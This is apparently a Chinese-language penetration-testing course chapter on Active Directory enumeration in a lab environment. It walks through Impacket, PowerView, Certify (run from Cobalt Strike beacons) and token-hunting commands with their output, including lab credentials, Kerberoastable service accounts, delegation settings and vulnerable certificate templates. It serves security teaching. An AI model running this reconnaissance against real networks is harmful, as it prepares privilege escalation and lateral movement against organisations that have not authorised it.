root@ts:/opt/framework/impacket/examples# proxychains python3 GetADUsers.py -all prod.raven-med.local/alice:elizabeth -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
[*] Querying 172.16.1.11 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2023-01-20 18:38:16.572334 2023-03-30 19:53:43.462751
Guest <never> <never>
krbtgt 2023-01-21 03:14:17.129622 <never>
2023-03-28 02:21:44.373836 <never>
sql_service 2023-01-28 19:35:17.958491 2023-03-28 03:04:56.416162
app_security 2023-01-28 20:00:19.880249 <never>
network_security 2023-01-28 20:00:30.270846 <never>
alice 2023-01-28 20:03:12.536442 2023-03-31 03:58:54.462135
harold 2023-01-28 20:33:54.612025 <never>
backup_operator 2023-01-28 21:53:00.350035 <never>
john 2023-01-29 01:02:53.942678 2023-03-28 02:06:57.796057
newman 2023-02-14 04:21:09.365594 <never>
jim 2023-02-14 04:21:23.271692 <never>
carl 2023-02-14 04:21:51.818645 <never>
fusco 2023-02-14 04:22:23.256115 2023-03-30 19:58:17.243954
使用 GetUserSPNs 来获取所有设置了 SPN 的用户
root@ts:/opt/framework/impacket/examples# proxychains python3 GetUserSPNs.py prod.raven-med.local/alice:elizabeth -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------------- ----------- -------- -------------------------- -------------------------- ----------
MSSQLSvc/srv01.prod.raven-med.local:SQL01 sql_service 2023-01-28 19:35:17.958491 2023-03-28 03:04:56.416162
MSSQLSvc/srv01.prod.raven-med.local:1433 sql_service 2023-01-28 19:35:17.958491 2023-03-28 03:04:56.416162
CrackMapExec
CrackMapExec (https://github.com/Porchetta-Industries/CrackMapExec) 如今发展成了一款类似于 Impacket 的多功能 AD 枚举与利用瑞士军刀。请学员们自行下载、安装与探索。
DACL
DACL 揭露了域内对象与对象之间的权限关系,可以是用户对用户的,用户对主机的,主机对主机的,诸如此类。例如,用户 John 对用户 app_security 具有 GenericWrite 的权限,那么 John 可以为其设置一个 SPN。DACL 无疑是域内最值得我们关注的利用之一。
对于 DACL 的枚举,最直观的就是使用 SharpHound 进行信息搜集然后使用 BloodHound 进行查看,虽然 BloodHound 有的时候也会遗漏一些 DACL。
除此之外,我们也可以组合 PowerView中的命令,查看某个用户的DACL,以及我们当前用户对其他用户的DACL:
枚举特定用户的DACL
指定目标用户,可以看到其他域对象作用于其的 DACL (对该用户具有 DACL 的对象以及权限)
Get-ObjectAcl -Identity <用户名> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Select Identity,AceType,ObjectCN,ActiveDirectorys | findstr '\'
我们可以看到,用户 john 对 app_security 具有 WriteProperty 权限。
枚举当前用户对其他用户的权限
登陆为 network_security,并使用如下命令 (无须修改),我们发现 network_security 对用户 backup_operator 具有 GenericAll 权限。
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN
Kerberos 委派
Kerberos 委派是什么,以及怎么利用,也许你们现在会感到有些困惑,这不要紧,因为我们目前只是在枚举阶段,但是我们需要知道 Kerberos 委派对于我们的利用是很关键的,因此对其进行枚举是前期就需要完成的事情。
从结果出发,委派可以让我们在其他主机上执行远程命令,从而接管这些主机。但我们也需要注意,有些用户是不允许被委派的,比如域管理员,因为他们具有很高的权限。
WHITE-BIRD 中的 Administrator 就不可被委派。
我们需要枚举的委派有 3 类:
非约束委派
非约束委派无疑是最强大的,因为对非约束委派的成功利用往往可能导致对整个域乃至森林的接管。
Get-NetComputer -Unconstrained | select dnshostname
当前域中,只有 DC 是被设置了非约束委派的。域控制器总是会被设置非约束委派,但这对于我们并没有帮助。而在 RAVEN-MED 中,我们发现了 mon01 是被设置了非约束委派的。
我们在 BloodHound 中,可以用内置的语句查询所有到达被设置了非约束委派主机的路径。图像比较凌乱,但我们可以看到有 4 台 主机被设置了非约束委派。
约束委派
通常,我们可以通过利用约束委派横向移动到至少 1 台其他主机上,这取决于被设置约束委派的主机/服务帐号可以委派多少主机与服务。不仅主机可以被设置约束委派,服务帐号也可以。
Get-NetComputer -TrustedToAuth
Get-NetUser -TrustedToAuth
我们发现 Web02 被设置了约束委派。
此外,med-factory.local 域中的 deleg_exer 服务帐号也被设置了约束委派。
基于资源的约束委派 (RBCD)
如果被我们控制的主机或服务账号对其他主机具有 GenericWrite 以及更高 (例如GenericAll) 的权限,我们最终可以通过利用 S4U 横向移动到其他主机上。
至于枚举的话,通过查看 BloodHound的 显示更为直观。或者使用脚本 adPEAS 协助我们发现可利用的RBCD。
实际上 File01 对 Dc01 具有 GenericAll 权限,因此可以用于利用 RBCD
ADCS
ADCS 的利用,是这几年里较新的利用手段。因此,我们也需要对 ADCS 进行枚举。ADCS(Active Directory 证书服务)是 Microsoft 的 PKI 实现,可与现有的 Active Directory 森林集成,从而实现数字证书的创建和管理。这些证书具有多种功能,如对用户进行身份验证,对文件和通信进行加密,提供数字签名以及验证电子文档。ADCS 使管理员能够建立并监督他们的证书颁发机构(CA),以向组织内的用户、计算机和其他资源颁发数字证书。与使用外部证书提供商相比,这种方法被认为更安全、更高效。
然而,同其他技术一样,不当的配置会引入可被利用的风险因素。在 ADCS 的上下文中,可以导致特权提升 (普通域用户甚至可以提升至域管理员) 以及持久化。我们可以使用工具 Certify (https://github.com/GhostPack/Certify) 来枚举域内的ADCS。
枚举CA
我们可以用 certify.exe 以及 cas 选项来枚举域内的 CA。
certify.exe cas
而在 Linux 操作系统中,我们可以通过 pip3 install certipy-ad 命令来安装 Certify Linux 版 Certipy。
不过,white-bird 域中并没有 ADCS 服务,因此也没有 CA 的存在。
对于 PROD 以及 RAVEN-MED 也一样。
实际上,med-factory 域中存在 ADCS 服务。我们发现,172.16.1.32 这台内部主机,即 Cert01 开放了 80 端口,是个 HTTP 服务。
当我们访问终端 certsrv,发现需要验证,虽然我们还没有有效的凭证,但是这证明了 Med-factory 确实存在着 ADCS 服务,而 Cert01 提供了 ADCS 的 Web 终端。
RAVEN-MED 森林被 Med-factory 信任,因此我们需要一个有效的 RAVEN-MED 森林中的帐号来跨域枚举 Med-factory 的 ADCS 信息,PROD 域中的 Alice 的凭证可以被我们所用。
我们以 Alice 身份跨域对 med-factory.local 域的 CA 进行枚举
beacon> execute-assembly certify.exe cas /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe cas /domain:med-factory.local
[+] host called home, sent: 279141 bytes
[+] received output:
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[+] received output:
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'
[*] Root CAs
[+] received output:
Cert SubjectName : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
Cert Thumbprint : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
Cert Serial : 41D46C07284C818C44EDFA659A7148BD
Cert Start Date : 1/20/2023 8:45:25 PM
Cert End Date : 1/20/2028 8:55:25 PM
Cert Chain : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
[*] NTAuthCertificates - Certificates that enable authentication:
Cert SubjectName : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
Cert Thumbprint : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
Cert Serial : 41D46C07284C818C44EDFA659A7148BD
Cert Start Date : 1/20/2023 8:45:25 PM
Cert End Date : 1/20/2028 8:55:25 PM
Cert Chain : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
[*] Enterprise/Enrollment CAs:
Enterprise CA Name : med-factory-CERT01-CA
DNS Hostname : cert01.med-factory.local
FullName : cert01.med-factory.local\med-factory-CERT01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
Cert Thumbprint : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
Cert Serial : 41D46C07284C818C44EDFA659A7148BD
Cert Start Date : 1/20/2023 8:45:25 PM
Cert End Date : 1/20/2028 8:55:25 PM
Cert Chain : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
UserSpecifiedSAN : Could not connect to the HKLM hive - The network path was not found.
CA Permissions :
[X] Could not connect to the HKLM hive - The network path was not found.
[+] received output:
Enabled Certificate Templates:
ClientAuth
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
从输出中,我们可以看到 CA 信息以及可用的证书模板。
枚举脆弱的证书模板
证书模板是预定义格式的证书,可用于创建具有指定属性的新证书。配置不当的证书模板可被用于域内提权,我们可以让 certify 帮我们自动寻找配置不当的证书,但 Certify 只会寻找全局脆弱的证书模版,即所有域用户都能利用的证书模板,而可能忽视特定用户可以利用的脆弱证书模板。
certify.exe find /vulnerable
实际上,Vuln1 与 Vuln2 都是可被利用的脆弱证书模板,但 Certify 并没有发现。
beacon> execute-assembly certify.exe find /vulnerable /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /vulnerable /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'
[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'
Enterprise CA Name : med-factory-CERT01-CA
DNS Hostname : cert01.med-factory.local
FullName : cert01.med-factory.local\med-factory-CERT01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
Cert Thumbprint : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
Cert Serial : 41D46C07284C818C44EDFA659A7148BD
Cert Start Date : 1/20/2023 8:45:25 PM
Cert End Date : 1/20/2028 8:55:25 PM
Cert Chain : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
[+] received output:
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
Enrollment Agent Restrictions : None
[+] received output:
[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:
Vuln1
[+] No Vulnerable Certificates Templates found!
对于读不懂的 SID 值,我们可以将其转换为名称
Convert-sidtoName <SID>
枚举允许客户认证的模板
我们可以寻找允许客户认证的模板,即申请了证书之后可以用于提供身份认证,就像有了凭证一样。不仅可以用于模仿其他用户,还可以实现持久化。
certify.exe find /clientauth /ca: [ca]
有多个证书模板允许客户认证,但列举的依旧并不完整。
beacon> execute-assembly certify.exe find /clientauth /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /clientauth /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'
[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'
Enterprise CA Name : med-factory-CERT01-CA
DNS Hostname : cert01.med-factory.local
FullName : cert01.med-factory.local\med-factory-CERT01-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
Cert Thumbprint : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
Cert Serial : 41D46C07284C818C44EDFA659A7148BD
Cert Start Date : 1/20/2023 8:45:25 PM
Cert End Date : 1/20/2028 8:55:25 PM
Cert Chain : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
Allow ManageCA, ManageCertificates <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
Enrollment Agent Restrictions : None
Enabled certificate templates capable of client authentication:
............
CA Name : cert01.med-factory.local\med-factory-CERT01-CA
Template Name : DomainControllerAuthentication
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_DNS
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Server Authentication, Smart Card Logon
mspki-certificate-application-policy : Client Authentication, Server Authentication, Smart Card Logon
Permissions
Enrollment Permissions
Enrollment Rights : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-498
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-516
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
AutoEnrollment Rights : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-498
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-516
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
Object Control Permissions
Owner : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteOwner Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteDacl Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteProperty Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
CA Name : cert01.med-factory.local\med-factory-CERT01-CA
Template Name : KerberosAuthentication
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS
mspki-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
mspki-certificate-application-policy : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
Permissions
Enrollment Permissions
Enrollment Rights : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-498
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-516
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
AutoEnrollment Rights : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-498
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-516
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
Object Control Permissions
Owner : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteOwner Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteDacl Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
WriteProperty Principals : <UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-512
<UNKNOWN> S-1-5-21-2207869169-3133627043-1838267575-519
Certify completed in 00:00:00.8096505
枚举ADCS网页终端
对于开放了网页证书签发终端的 CA 服务器来说,其访问地址为 http(s)://<CA>/certsrv
用户会话与令牌
当我们在一台 Windows 域主机上获得了 SYSTEM 权限,我们可以模仿任何在本机登陆的域用户。如果模仿的对象在域内具有其他特权,我们可以利用此来移动到其他主机甚至域。
在 Windows 本机,我们可以有这些方式来查询
进程的拥有者
我们可以使用程序 tasklist.exe 来查询进程的拥有者:
tasklist.exe /v
或者 PowerShell 命令 Get-Process -IncludeUserName
Get-Process -IncludeUserName
可惜的是,就 Web02 上,并没有发现其他用户的进程,但在别的主机上,也许我们会有意外收获。我们不妨以 sql_service 用户运行 cmd 程序,然后我们发现了其会话。
会话查询
我们可以通过命令 query session 来查询当前主机的会话,会话来源有交互式登陆、RDP登陆、服务执行。
query session
我们依旧没有看到其他用户的会话。虽然我们以 sql_service 身份运行了 cmd 程序,但并不属于三种来源之一。
SharpToken
我们可以使用工具 SharpToken (https://github.com/BeichenDream/SharpToken) 来枚举当前主机所有可用的令牌,需要在 SYSTEM 权限下使用。
我们之前 runas 的 sql_service 用户的令牌也能有显示
BloodHound
在 BloodHound 中,我们可以查看部分远程主机的 Sessions 信息,例如,我们从图中得知 file01 上有 John 的会话。
file01 确实当前是 john 登陆。
第7章课后作业
练习
1:查找1-2 个其他近年关于 AD 的 CVE 漏洞,并测试本实验是否存在。
2:我们已经有了 2 个 Beacon 了,因此我们目前对 4 个域具有资源访问权限,请分别枚举这些域的用户、组、主机、OU、GPO、域信任等内容。
3:使用 PowerShell 版 SharpHound 搜集域信息,并尝试各种选项
4:使用 SQLRecon (https://github.com/skahwah/SQLRecon) 工具来枚举实验室中的 3 个 MSSQL 数据库实例。
5:使用 ldapsearch 枚举其他域信息,例如 OU 等
6:使用 rpcclient 枚举其他域信息
7:尝试 CrackMapExec/PsMapExec 工具并枚举域信息
8:使用 NTLM 哈希认证的方式运行 BloodHound-Python
9:还有哪些其他的 DACL?